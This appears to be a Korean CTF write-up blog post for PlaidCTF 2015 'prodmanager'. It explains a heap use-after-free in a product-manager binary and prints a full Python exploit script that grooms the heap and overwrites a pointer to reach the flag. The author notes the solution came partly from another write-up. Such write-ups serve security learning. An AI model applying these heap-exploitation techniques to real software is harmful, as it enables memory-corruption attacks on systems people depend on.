보호 기법은 NX와 ASLR이 걸려있다.
프로그램 실행모습
1 제품 생성
2 제품 삭제
3 제품 매니저에 등록
4 제품 매니저에서 가격이 제일 낮은거 3개 출력 후 삭제
5 프로파일 보여주기
메인 부분 - 입력한 것을 스위치 구문으로 표시했다.
제품명과 가격을 적고 malloc으로 76만큼 할당한 곳에 복사하고 링크드리스트를 설정한다.
제품을 3개 등록해야하니
3개 등록하고 매니저에도 ADD해서 4번으로한번보면
위처럼 나오게 된다.
이 때 매니저에 등록하고 2번으로 지우게 되면 위처럼 가격이 바뀌는걸 볼 수 있다.
그리고 2번에서 free한 것을 5번에서 다시 malloc 하기 때문에
use-after-free 취약점이 발생한다.
create에서 malloc을 한 후 이 함수를 호출하는데
나머지를 0으로 초기화하고 제품이름과 가격을 설정한다.
이부분에서 v1에서 상품의 주소를 리턴하는데
그 값을 출력한다. 이부분을 바꾸면 플래그를 볼 수 있는 것이다.
1 상품 3개 생성
2 상품 3개 등록
3 상품 제거
4 프로파일 생성
5 낮은 가격 3개 상품 출력
이런식으로 지운곳에 5에서 입력한 값이 들어가게된다.
그럼 저부분에 플래그의 주소를 넣어보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from struct import * from socket import * from time import sleep p = lambda x: pack("<L", x) s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.153.139", 3722)) def all(name, price, num): if num == "1": s.send(num+"\n") s.recv(1024) s.send(name+"\n") s.recv(1024) s.send(price+"\n") elif num == "2": s.send(num+"\n") s.recv(1024) s.send(name+"\n") sleep(0.3) s.recv(1024) sleep(0.3) s.recv(1024) elif num == "3": s.send(num+"\n") s.recv(1024) s.send(name+"\n") s.recv(1024) elif num == "4": s.send(num+"\n") sleep(0.1) data = s.recv(512) data = data.split("\n\n\n") print data[0] else: s.send(num+"\n") sleep(0.3) s.recv(1024) payload = p(0000)*5 payload += p(0x804C3E0-24) s.send(payload+"\n") s.recv(1024) s.recv(1024) sleep(0.3) s.recv(1024) all("AAAA", "1111", "1") all("BBBB", "1111", "1") all("CCCC", "1111", "1") all("AAAA", None, "3") all("BBBB", None, "3") all("CCCC", None, "3") all("BBBB", None, "2") all(None, None, "5") all(None, None, "4") s.close() | cs |
소스 코드는 이렇게 짰다.
지금보니깐 소스도 드럽게 못짰네
이번꺼는 문제를 잘못 선택한거같다. 저 payload 부분에서 4씩 플러스 마이너스 하다가 겨우 되기했지만......
너무 어려워서 풀이를 참고했는데도 완벽히 이해를 못했다.
힙공부를 하고 다시 제대로 풀어야지
참고 풀이 출처-http://kikisctf.blogspot.kr/2015/06/plaidctf-quals-2015-prodmanager.html
'CTF > Write-up' 카테고리의 다른 글
BITSCTF Riskv and Reward (0) | 2017.02.05 |
---|---|
insomnihack CTF bender_safe (0) | 2017.01.22 |
codegate 2014 angry doraemon (0) | 2017.01.15 |
Warm-Heap (0) | 2017.01.15 |
codegate 2014 nuclear (0) | 2017.01.13 |